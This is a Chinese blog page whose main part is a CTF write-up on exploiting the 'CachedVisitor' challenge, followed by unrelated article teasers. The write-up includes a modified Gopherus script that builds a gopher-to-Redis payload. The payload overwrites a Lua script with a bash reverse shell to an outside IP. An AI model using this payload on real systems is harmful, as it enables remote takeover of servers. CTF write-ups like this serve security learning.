当前位置：首页 > news >正文

【Web】软件系统安全赛CachedVisitor——记一次二开工具的经历

news 来源：原创 2025/5/14 6:09:42

明天开始考试周，百无聊赖开了一把CTF，还顺带体验了下二开工具，让无聊的Z3很开心🙂

CachedVisitor这题

大概描述一下：从main.lua加载一段visit.script中被##LUA_START##(.-)##LUA_END##包裹的lua代码

main.lua

local function read_file(filename)local file = io.open(filename, "r")if not file thenprint("Error: Could not open file " .. filename)return nilendlocal content = file:read("*a")file:close()return content
endlocal function execute_lua_code(script_content)local lua_code = script_content:match("##LUA_START##(.-)##LUA_END##")if lua_code thenlocal chunk, err = load(lua_code)if chunk thenlocal success, result = pcall(chunk)if not success thenprint("Error executing Lua code: ", result)endelseprint("Error loading Lua code: ", err)endelseprint("Error: No valid Lua code block found.")end
endlocal function main()local filename = "/scripts/visit.script"local script_content = read_file(filename)if script_content thenexecute_lua_code(script_content)end
endmain()

visit.script

##LUA_START##
local curl = require("cURL")
local redis = require("resty.redis")ngx.req.read_body()
local args = ngx.req.get_uri_args()
local url = args.urlif not url thenngx.say("URL parameter is missing!")return
endlocal red = redis:new()
red:set_timeout(1000)local ok, err = red:connect("127.0.0.1", 6379)
if not ok thenngx.say("Failed to connect to Redis: ", err)return
endlocal res, err = red:get(url)
if res and res ~= ngx.null thenngx.say(res)return
endlocal c = curl.easy {url = url,timeout = 5,connecttimeout = 5
}local response_body = {}c:setopt_writefunction(table.insert, response_body)local ok, err = pcall(c.perform, c)if not ok thenngx.say("Failed to perform request: ", err)c:close()return
endc:close()local response_str = table.concat(response_body)local ok, err = red:setex(url, 3600, response_str)
if not ok thenngx.say("Failed to save response in Redis: ", err)return
endngx.say(response_str)
##LUA_END##

题目预设的visit.script是与内网的redis通信，可以打用gopher协议打redis任意文件写，但题目没有计划任务，考虑直接覆写/scripts/visit.script

因为有##LUA_START##(.-)##LUA_END##包裹，所以不会被脏数据影响

直接用redis-over-gopher一直打不通

sec_tools/redis-over-gopher at master · firebroo/sec_tools · GitHub

Gopherus有一段类似的逻辑，它的反弹shell是通过覆盖计划任务文件来实现

于是这里通过修改gopherus的/scripts/Redis.py来生成payload

import urllibdef Redis():def get_Redis_OverWrite():target_dir = raw_input("input target dir: ") or "/scripts"ip = raw_input("input rev ip: ") or "27.25.151.98"port = raw_input("input rev port: ") or "1337"file = raw_input("input target filename: ") or "visit.script"file_len = len(file)cmd = """##LUA_START##os.execute("bash -c 'sh -i &>/dev/tcp/{}/{} 0>&1'")##LUA_END##""".format(ip, port)len_cmd = len(cmd) + 5payload = """*1\r
$8\r
flushall\r
*3\r
$3\r
set\r
$1\r
1\r
${}\r{}\r
*4\r
$6\r
config\r
$3\r
set\r
$3\r
dir\r
${}\r
{}\r
*4\r
$6\r
config\r
$3\r
set\r
$10\r
dbfilename\r
${}\r
{}\r
*1\r
$4\r
save\r""".format(len_cmd, cmd, len(target_dir), target_dir, file_len, file)finalpayload = urllib.quote_plus(payload).replace("+", "%20").replace("%2F", "/").replace("%25", "%").replace("%3A", ":")print("\033[93m" + "\nYour gopher link is ready to overwrite file: \n" + "\033[0m")print("\033[04m" + "gopher://127.0.0.1:6379/_" + finalpayload + "\033[0m")print("\n" + "\033[41m" + "-----------Made-by-Z3r4y-----------" + "\033[0m")get_Redis_OverWrite()

直接打入

成功反弹shell

【Web】软件系统安全赛CachedVisitor——记一次二开工具的经历

明天开始考试周，百无聊赖开了一把CTF，还顺带体验了下二开工具，让无聊的Z3很开心🙂 CachedVisitor这题大概描述一下：从main.lua加载一段visit.script中被##LUA_START##(.-)##LUA_END##包裹的lua代码 main.lua loca…...

编程日记 2025/5/14 6:09:42

面向对象分析与设计Python版建模工具UML

文章目录一、建模与模型二、统一建模语言一、建模与模型建模与模型建模 modeling： 把不太理解的东西和一些已经较为理解、且十分类似的东西做比较，可以对这些不太理解的东西产生更深刻的理解，叫做建模重要的研发成果常常产自类比模型 …...

编程日记 2025/5/5 23:13:11

Flink系列知识讲解之：深入了解 Flink 的网络协议栈

Flink系列知识之：深入了解 Flink 的网络协议栈 Flink 的网络协议栈是组成 flink-runtime 模块的核心组件之一，也是每个 Flink 任务的核心。它连接着来自所有任务管理器的各个工作单元（子任务）。这是流数据流过的地方，…...

编程日记 2025/5/10 6:35:44

动态库dll与静态库lib编程4：MFC规则DLL讲解

文章目录前言一、说明二、具体实现2.1新建项目2.2 模块切换的演示总结前言动态库dll与静态库lib编程4：MFC规则DLL讲解。一、说明 1.前面介绍的均为Win32DLL，即不使用MFC的DLL。 2.MFC规则DLL的特点：DLL内部可以使用MFC类库、可以被其他…...

编程日记 2025/5/14 5:35:45

TypeScript 后端开发中的热重载编译处理

在一些除了nest框架外的一些其他nodejs框架中没有提供对ts编译和热重载，如果使用typescript我们需要自己进行配置。方法一（推荐） 使用bun运行环境（快）。注：一些不是使用js，ts代码编写的第三方…...

编程日记 2025/5/13 2:36:38

ORB-SLAM3源码学习：LoopClosing.cc：LoopClosing::NewDetectCommonRegions检测共同区域

前言在ORB-SLAM2中校验闭环候选关键帧时，需要满足时序上连续3次成功校验才能通过。这就需要检测至少3个新进来的关键帧，这种方法牺牲了召回率来提升精度。由于必须严格的满足至少连续的三个条件这使得闭环的条件更加严格，即使存在真实的闭环…...

编程日记 2025/5/13 4:06:13

前端React Router从入门到进阶实战

React Router 是 React 应用中的一个重要库，它用于实现客户端的路由管理，能够将 URL 路径与 React 组件关联起来，从而实现页面之间的导航。React Router 不会像传统的多页面应用那样重新加载页面，而是通过组件切换来呈现不同的视图…...

编程日记 2025/5/10 7:30:29

关于华硕Armoury Crate(奥创中心）安装程序失败、卡进度条问题解决方案

关于华硕Armoury Crate(奥创中心）安装失败解决方案清理旧版本文件如果之前安装过Armoury Crate，可能有残留文件导致冲突： 利用官方的卸载工具，卸载旧版本： https://www.asus.com.cn/supportonly/armoury%20crate/…...

编程日记 2025/5/11 10:34:02

【WPF】数据绑定机制之INotifyPropertyChanged

INotifyPropertyChanged 是 WPF 中的一个接口，用于实现数据绑定中的属性更改通知。它的主要作用是，当对象的某个属性值发生更改时，通知绑定到该属性的 UI 控件更新其显示内容。以下是有关 INotifyPropertyChanged 的详细信息和实现方法&…...

编程日记 2025/5/10 17:34:04

QPushButton的基础用法

概述本文将详细介绍 QPushButton 的概念、常规用法、样式表以及一些特殊用法，帮助您深入理解和高效应用 QPushButton。当前Qt版本为6.8。 1. QPushButton 的基本概念 1.1 概述 QPushButton 是 Qt 中最常用的按钮控件之一，它表示一个可以被点击的按钮…...

编程日记 2025/5/10 6:59:04

股指期货有哪些优势？

股指期货，作为一种重要的金融衍生品，以其独特的交易方式和多样的优势，吸引了众多投资者的关注。本文将详细解析股指期货的定义、优势以及特点，帮助投资者更好地理解和把握这一市场。一、股指期货的定义股指期货，顾…...

编程日记 2025/5/12 23:27:57

STM32完全学习——FATFS0.15移植SD卡

一、下载FATFS源码大家都知道使用CubMAX可以很快的将，FATFS文件管理系统移植到单片机上，但是别的芯片没有这么好用的工具，就需要自己从官网下载源码进行移植。我们首先解决SD卡的驱动问题，然后再移植FATFS文件管理系统。二、SD…...

编程日记 2025/5/8 15:31:20

使用 Spring 状态机构建灵活的状态管理系统

引言在软件开发中，状态机是一种非常重要的工具，尤其适用于需要处理复杂状态转换的场景。无论是订单管理系统中的订单状态、工作流引擎中的任务流转，还是审批流程的管理，状态机都能有效地帮助我们组织和管理不同的状态及其之间的…...

编程日记 2025/5/12 14:39:44

[SMARTFORMS] 添加设置图标

本地图片存放位置使用事务码SE78进入表格图形管理页面，将导入图标到SAP系统选择需要上传的图片地址，输入名称，描述和图片类型，点击导入按钮完成上述操作以后，图标已导入到SAP系统中提示Tips：如何将图标…...

编程日记 2025/5/13 17:27:36

网络世界的“交通规则”——TCP/IP（一）

一、非可靠传输的协议——UDP 1.1 UDP的报文格式 （1）UDP长度：表示整个UDP数据包的长度（报头载荷）； （2）校验和：用于验证UDP数据包在传输过程中有没发生比特翻转&#xff…...

编程日记 2025/5/9 13:59:36

Excel中公式和函数的区别

Excel中公式和函数的区别概念讲解例子公式函数详细介绍函数面板最后再次进行演示操作文档概念讲解公式是用户自己编写的表达式，而函数是由Excel预定义的操作。公式可以包含各种数学运算符和逻辑表达式，函数则是执行特定任务的工具。公式可以引用其他…...

编程日记 2025/5/7 20:10:07

Node.js应用程序遇到了内存溢出的问题

vue 项目跑起来，一直报错，内存溢出在文件node_modules 里 .bin > vue-cli-service.cmd 在依赖包这个文件第一行加上这个 node --max-old-space-size102400 "%~dp0\..\vue\cli-service\bin\vue-cli-service.js" %* node --max-old-s…...

编程日记 2025/5/10 14:46:23

MySQL关联关系理论与实践

MySQL 是一种关系型数据库管理系统，以其高性能、灵活性和易用性在开发者中广受欢迎。在 MySQL 中，数据存储以表格形式存在，表与表之间的关联关系构成了关系型数据库的核心。本篇文章将介绍 MySQL 关联关系的理论基础和常见实践，包…...

编程日记 2025/5/12 9:37:55

w138基于Spring Boot的宠物领养系统的设计与实现

🙊作者简介：多年一线开发工作经验，原创团队，分享技术代码帮助学生学习，独立完成自己的网站项目。代码可以查看文章末尾⬇️联系方式获取，记得注明来意哦~🌹赠送计算机毕业设计600个选题excel文…...

编程日记 2025/5/12 4:22:15

AMBA-CHI协议详解（十三）

AMBA-CHI协议详解（一）- Introduction AMBA-CHI协议详解（二）- Channel fields / Read transactions AMBA-CHI协议详解（三）- Write transactions AMBA-CHI协议详解（四）- Other transac…...

编程日记 2025/5/13 21:46:30

组合的能力

在《德鲁克最后的忠告》一书中，有这样一段话： 企业将由各种积木组建而成：人员、产品、理念和建筑。积木的设计组合至少和其供给一样重要。……对于一切程序、应用软件以及附件来说，重要的是掌握将已有的软件模块组合的能力&…...

编程日记 2025/5/11 23:11:14

若依使用 Undertow 替代 Tomcat 容器

文章目录需求提出应用场景解决思路注意事项完整代码第一步：在 ruoyi-framework/pom.xml 文件中进行依赖配置第二步：修改 application.yml 配置文件第三步：修改文件上传工具类 FileUploadUtils.java 运行结果需求提出在开发若依框架的前后…...

编程日记 2025/5/13 22:03:04

STC单片机 IAP在线升级功能的使用介绍

STC单片机 IAP在线升级功能的使用介绍从官方给出的IAP在线升级的demo示例来看，目前支持的型号有STC8、STC12、STC15、STC32，前提是需要使用64K/128K容量的型号。只支持用户程序容量小于60K 的项目。 🌿IAP在线升级方式支持：CAN、…...

编程日记 2025/5/10 9:19:10

visio 0xC004F017

1.好久没用的电脑突然显示Office tool plus 的软件(visio)失效了显示错误代码： 0xC004F017 2.在软件中重新配置关键：KMS用了 kms.03k.org 3.在软件中重新配置许可选择 4.一些额外的检查方法打开控制台输入 slmgr /dlv 中间过程还遇到过【错误…...

编程日记 2025/4/19 6:23:44

IoC设计模式详解：控制反转的核心思想

前言：在软件开发中，设计模式是一种经过验证的、在特定场景下能有效解决问题的解决方案。控制反转（Inversion of Control，IoC） 作为一种设计模式，通过让程序的控制流和对象管理反转，从而使得代码…...

编程日记 2025/5/8 17:03:27

C语言延时实现

C语言延时实现在C语言中，delay 函数通过空循环实现延时，而不是像其他高级语言（如Python）直接使用 sleep 函数。这种实现方式是基于单片机的特性和C语言的底层操作。下面详细解释为什么这种空循环可以实现延时，以及它…...

编程日记 2025/5/12 0:44:13

CDP集群安全指南-静态数据加密

[一]静态数据加密的架构 CDP 支持两种加密组件，这些组件可以组合成独特的解决方案。在选择密钥管理系统（KMS）时，您需要决定哪些组件能够满足企业的密钥管理和加密需求。 CDP 加密组件以下是 Cloudera 用于静态数据加密的组件描…...

编程日记 2025/5/11 10:58:06

# LeetCode Problem 2038: 如果相邻两个颜色均相同则删除当前颜色 (Winner of the Game)

LeetCode Problem 2038: 如果相邻两个颜色均相同则删除当前颜色 (Winner of the Game) 在本篇博客中，我们将深入探讨 LeetCode 第2038题——如果相邻两个颜色均相同则删除当前颜色。该问题涉及字符串处理与游戏策略，旨在考察如何在给定规则下判断游戏的…...

编程日记 2025/5/11 3:18:00

极限学习机 (Extreme Learning Machine, ELM) 算法详解与PyTorch实现

极限学习机 (Extreme Learning Machine, ELM) 算法详解与PyTorch实现目录极限学习机 (Extreme Learning Machine, ELM) 算法详解与PyTorch实现1. 极限学习机 (ELM) 算法概述1.1 单隐层前馈神经网络1.2 ELM的优势2. ELM的核心技术2.1 模型定义2.2 随机初始化2.3 最小二乘法2.4…...

编程日记 2025/5/14 5:55:53

【insert 插入数据语法合集】.NET开源ORM框架 SqlSugar 系列

系列文章目录 🎀🎀🎀 .NET开源 ORM 框架 SqlSugar 系列 🎀🎀🎀 文章目录系列文章目录一、前言 🍃二、插入方式 💯2.1 单条插入实体2.2 批量插入实体2.3 根据字典插入2.4 根据 Dat…...

编程日记 2025/5/9 14:03:48

什么是.net framework，什么是.net core，什么是.net5~8，版本对应关系

我不知道有多少人和我一样，没学习过.netCore，想要学习，但是版本号太多就蒙了，不知道学什么了，这里解释下各个版本的关系我们一般开始学习微软的时候，都是开始学习的.netframework，常用的就是4…...

编程日记 2025/5/12 1:30:10

【数据库系统概论】数据库安全性和存取控制和视图机制以及审计、数据加密--复习极简总结版

1. 数据库安全性概述 1.1 数据库安全性的重要性数据库安全性是保护数据库防止非法访问、数据泄露、篡改或破坏的能力。它随着数据共享和网络化应用的普及而变得至关重要。现实案例： 2016年，某国医院遭受黑客攻击，黑客加密数据库并勒索赎金…...

编程日记 2025/5/11 1:10:56

深入理解计算机系统—虚拟内存（3）

9.9 动态内存分配虽然可以使用低级的 mmap 和 munmap 函数来创建和删除虚拟内存的区域，但是 C程序员还是会觉得当运行时需要额外虚拟内存时，用动态内存分配器更方便，也有更好的可移植性。动态内存分配器维护着一个进程的虚拟内存区域&…...

编程日记 2025/5/5 3:20:47

Vue项目整合与优化

前几篇文章，我们讲述了 Vue 项目构建的整体流程，从无到有的实现了单页和多页应用的功能配置，但在实现的过程中不乏一些可以整合的功能点及可行性的优化方案，就像大楼造完需要进行最后的项目验收改进一样，有待我们进一步…...

编程日记 2025/5/13 14:06:58

MyBatis 与 MyBatis-Plus 的区别

MyBatis 和 MyBatis-Plus 都是用于简化 Java 应用程序与数据库交互的持久层框架，但它们在功能、易用性和性能优化方面存在显著差异。下面将详细介绍两者之间的区别，并通过具体的代码示例进行对比。概述 MyBatis：作为一款经典的持久层框架&a…...

编程日记 2025/5/6 15:08:08

如何让大模型不再“已读乱回”——RAG技术助力生成更精确的答案

随着大语言模型（LLM） 的迅猛发展，越来越多的领域开始受益于其强大的自然语言处理能力。从写作到编程，LLM已成为我们日常生活和工作的得力助手。然而，这些看似无所不能的大模型，却有一个致命的弱点&#xff…...

编程日记 2025/5/7 10:34:52

Anaconda环境配置（Windows11+python3.9）

文章目录一、下载ANACONDA（1）点击**Free Download**。（2）点击“skip registration”，跳过登录。（3）下载对应操作系统的ANACONDA版本。二、安装ANACONDA（1）双击运行安…...

编程日记 2025/5/10 6:13:42

Spring Boot 中的虚拟线程

什么是虚拟线程？ 虚拟线程（Virtual Threads）是 Java 19 引入的一项新特性，它属于 Project Loom 项目的一部分。与传统的线程（平台线程）不同，虚拟线程并不是由操作系统直接管理，而是…...

编程日记 2025/5/5 22:53:04

el-table 实现纵向多级表头

为了实现上图效果，最开始打算用el-row、el-col去实现，但发现把表头和数据分成两大列时，数据太多时会导致所在格高度变高。但由于每一格数据肯定不一样，为保持高度样式一致，就需要我们手动去获取最高格的高度之后再设置…...

编程日记 2025/5/10 7:01:15

探秘Kafka源码：关键内容解析

文章目录一、以kafka-3.0.0为例1.1安装 gradle 二、生产者源码2.1源码主流程图2.2 初始化2.3生产者sender线程初始化2.4 程序入口2.5生产者 main 线程初始化2.6 跳转到 KafkaProducer构造方法一、以kafka-3.0.0为例打开 IDEA，点击 File->Open…->源码包解…...

编程日记 2025/5/6 12:43:27

Promise编码小挑战

题目我们将实现一个 createImage 函数，该函数返回一个 Promise，用于处理图片加载的异步操作。此外，还会实现暂停执行的 wait 函数。 Part 1: createImage 函数该函数会： 创建一个新的图片元素。将图片的 src 设置为提供的路径…...

编程日记 2025/5/13 8:59:51

PyQt实战——将pcm文本数据转换成.pcm的二进制文件

系类往期文章： PyQt5实战——多脚本集合包，前言与环境配置（一） PyQt5实战——多脚本集合包，UI以及工程布局（二） PyQt5实战——多脚本集合包，程序入口QMainWindow（三&…...

编程日记 2025/5/12 13:25:41

数据结构之线性表

1.什么是线性表线性表的概念定义：线性表是由n个数据元素组成的有限序列。每个数据元素（除了第一个和最后一个）都有且仅有一个前驱和一个后继。逻辑结构：线性表的逻辑结构可以用一个序列来表示，例如 L(a1,a2,…,an)。…...

编程日记 2025/5/11 20:49:13

量子行走的干涉性和叠加性

需要注意公式的一些特殊情况，举例，当dj2和dj3 dj2 dj3...

编程日记 2025/4/29 1:29:48

Fabric环境部署-安装Go

安装go语言环境国内镜像：Go下载 - Go语言中文网 - Golang中文社区 1.选择版本下载后解压：注意go1.11.linux-amd64.tar.gz换成你下的 sudo tar zxvf go1.21.linux-amd64.tar.gz -C /usr/local 2.. 创建Go目录 mkdir $HOME/go 3. 用vi打开~./bashrc&…...

编程日记 2025/5/13 22:49:05

网站设计总结后期维护与更新的重要性

当我们谈论网站设计时，往往会聚焦在初始阶段的创意和实现上。然而，一旦网站建成并上线，后期维护与更新的重要性就显得尤为突出。一个网站的成功不仅取决于其初始设计，更在于持续的维护与更新。首先，后期维护能够确保网…...

编程日记 2025/5/11 1:28:21

『SQLite』详解运算符

内容摘要：本节讲解运算符，包括：算术运算符、比较运算符、逻辑运算符和位运算符。什么是运算符？ 运算符是一个保留字或字符，主要用于 SQLite 语句的 WHERE 子句中执行操作。它用于指定 SQLite 语句中的条件&#xff0…...

编程日记 2025/5/9 23:00:24

计算机网络--根据IP地址和路由表计算下一跳

一、必备知识 1.无分类地址IPV4地址网络前缀主机号 2.每个IPV4地址由32位二进制数组成 3. /15这个地址表示网络前缀有15位，那么主机号32-1517位。 4.地址掩码（子网掩码）：所对应的网络前缀为1，主机号为0。 5.计算下…...

编程日记 2025/5/10 15:46:00

如何使用 Ansys OptiSlang 同时运行多个参数化设计研究

了解如何通过使用 OptiSLang 同时运行多个参数化设计研究来提高工作效率。了解参数化设计研究的重要性参数化设计研究在工程和设计过程中起着至关重要的作用。通过改变输入参数，工程师可以探索不同设计选择的效果，并优化其设计以满足性能、成本或其他…...

编程日记 2025/5/7 3:05:20

《拼数》

题目描述设有 nn 个正整数 a1…ana1…an，将它们联接成一排，相邻数字首尾相接，组成一个最大的整数。输入格式第一行有一个整数，表示数字个数 nn。第二行有 nn 个整数，表示给出的 nn 个整数 aiai。输出格…...

编程日记 2025/5/10 23:05:27

相关文章：